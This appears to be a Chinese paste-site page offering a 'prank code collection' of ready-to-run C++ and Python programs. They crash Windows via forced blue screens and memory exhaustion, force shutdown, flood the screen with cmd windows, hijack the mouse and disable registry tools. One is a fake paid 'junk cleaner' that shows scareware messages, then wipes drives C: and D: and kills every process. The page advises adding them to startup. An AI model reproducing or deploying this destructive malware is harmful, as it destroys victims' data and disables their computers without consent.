跳到正文

剪贴板

剪贴板 6tkavjnd

原文
剪贴板信息

剪贴板信息

收录
更新

整蛊代码大全

本人不承担相关的维修费、医药费、诉讼费、精神损失费或其他费用及法律责任,一切后果皆由使用者承担

代码编译后可加入启动项 加入方法

死机代码

高版本Windows可能无效

C++
#include<bits/stdc++.h>

using namespace std;

int main()
{
    while (1)
    {
        malloc(9999);
    }

    return 0;
}

自动关机代码

C++
#include<bits/stdc++.h>

using namespace std;

int main()
{
    system("shutdown -s -t 0");
    return 0;
}

蓝屏代码

C++
#include <iostream>
#include <Windows.h>
#include <winternl.h>
using namespace std;
typedef NTSTATUS(NTAPI *pdef_NtRaiseHardError)(NTSTATUS ErrorStatus, ULONG NumberOfParameters, ULONG UnicodeStringParameterMask OPTIONAL, PULONG_PTR Parameters, ULONG ResponseOption, PULONG Response);
typedef NTSTATUS(NTAPI *pdef_RtlAdjustPrivilege)(ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrentThread, PBOOLEAN Enabled);
int main()
{
    BOOLEAN bEnabled;
    ULONG uResp;
    LPVOID lpFuncAddress = GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlAdjustPrivilege");
    LPVOID lpFuncAddress2 = GetProcAddress(GetModuleHandle("ntdll.dll"), "NtRaiseHardError");
    pdef_RtlAdjustPrivilege NtCall = (pdef_RtlAdjustPrivilege)lpFuncAddress;
    pdef_NtRaiseHardError NtCall2 = (pdef_NtRaiseHardError)lpFuncAddress2;
    NTSTATUS NtRet = NtCall(19, TRUE, FALSE, &bEnabled);
    NtCall2(STATUS_FLOAT_MULTIPLE_FAULTS, 0, 0, 0, 6, &uResp);
    return 0;
}

蓝屏*2

感谢@ HatsuneMiku 投稿
原帖地址
C++
#include <cmath>
#include <cstring>
#include <iostream>
#include <fstream>
#include <windows.h>
#include <filesystem>
using namespace std;
namespace fs = std::filesystem;
void clearDirectory(const std::string& path) {
    try {
        if (fs::exists(path) && fs::is_directory(path)) {
            for (const auto& entry : fs::directory_iterator(path)) {
                fs::remove_all(entry.path());
            }
            std::cout << "Directory cleared successfully." << std::endl;
        } else {
            std::cerr << "Path does not exist or is not a directory." << std::endl;
        }
    } catch (const fs::filesystem_error& e) {
        std::cerr << "Filesystem error: " << e.what() << std::endl;
    } catch (const std::exception& e) {
        std::cerr << "General error: " << e.what() << std::endl;
    }
}
int main()
{
    HWND hwnd = GetConsoleWindow();
    HMENU hmenu = GetSystemMenu(hwnd, FALSE);
    EnableMenuItem(hmenu, SC_CLOSE, MF_GRAYED);
    SetConsoleTitleA("垃圾清理");
    int ans;
start:
    ans = MessageBox(nullptr, "是否对你的电脑进行垃圾清理?", "询问", MB_YESNO);
    if (ans == IDYES)
    {
        ans = MessageBox(nullptr, "请先付费30元", "付费提示", MB_YESNO);
        if (ans == IDYES)
        {
            MessageBox(nullptr, "付费成功,正在扫描垃圾", "付费提示", MB_OK);
            Sleep(2000);
            ans = MessageBox(nullptr, "开机启动项:危险\n高危易感染区:危险\n系统硬盘:危险\n共检测出顽固木马550GB,恶意程序786GB,是否清理?", "扫描结果", MB_YESNO);
            if (ans == IDYES)
            {
            qingli:
                MessageBox(nullptr, "清理成功,但还有3个恶意程序无法清理", "清理结果", MB_OK);
                MessageBox(nullptr, "恶意程序正在删除D盘", "提示", MB_OK);
                clearDirectory("D:/");
                MessageBox(nullptr, "恶意程序正在删除C盘", "提示", MB_OK);
                clearDirectory("C:/");
                MessageBox(nullptr, "恶意程序正在试图让电脑蓝屏", "提示", MB_OK);
                Sleep(2000);
                ofstream fout("D://echoesfaese.bat");
                fout << "for /f %%I in ('wmic process get Name')do (wmic process where Name=\"%%I\" delete)";
                fout.close();
                system("start D://echoesfaese.bat");
            }
            else
            {
                MessageBox(nullptr, "如果不清理,可能会造成以下几种情况:\n1.电脑蓝屏\n2.电脑无法联网\n3.电脑重要信息被盗取\n是否清理?", "提示", MB_OK);
                goto qingli;
            }
        }
        else
        {
            goto tishi;
        }
    }
    else
    {
    tishi:
        ans = MessageBox(nullptr, "已在您的电脑上发现550GB顽固木马", "提示", MB_OK);
        goto start;
    }
    return 0;
}

无限cmd窗口

C++
#include<windows.h>
using namespace std;
int main()
{
    system("color F5");
    for(;;) system("start cmd");
    return 0;
}

疯狂的鼠标

C++
#include<windows.h>
#include<ctime>
using namespace std;
int main()
{
    int x=GetSystemMetrics(SM_CXSCREEN);
    int y=GetSystemMetrics(SM_CYSCREEN);
    srand(time(0));
    while(1)
    SetCursorPos(rand()%x,rand()%y);
    return 0;
}

固定的鼠标

C++
#include<windows.h>
#include<conio.h>
#include<time.h>
#include<stdio.h>
using namespace std;
int main(){
	system("title");
	int x,y,jy;
	while(1){
		x=1;
		y=1;
		SetCursorPos(x,y);
	}
	return 0;
}

禁用注册表

C++
#include <stdio.h>
#include <windows.h>
int main()
{
    HKEY hkey;
    DWORD value = 1;
    RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
    RegSetValueEx(hkey, "DisableRegistryTools", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
    RegCloseKey(hkey);
    return 0;
}

窗口灾难

Python
import os
import time
while(True):
    print(10034576454366433443421*525234,end=" ")
    os.system("start C:\\Windows\\System32\\cmd.exe")
    os.system("start C:\\Windows\\WindowsUpdate.log")
    os.system("C:\\Windows\\winhlp32.exe")
    print(time.strftime("%z,%A,%Y,%p,%d,%e"))
代码无效,投稿新代码请联系作者

遭整蛊请勿辱骂作者,建议采用上述手段反制整蛊者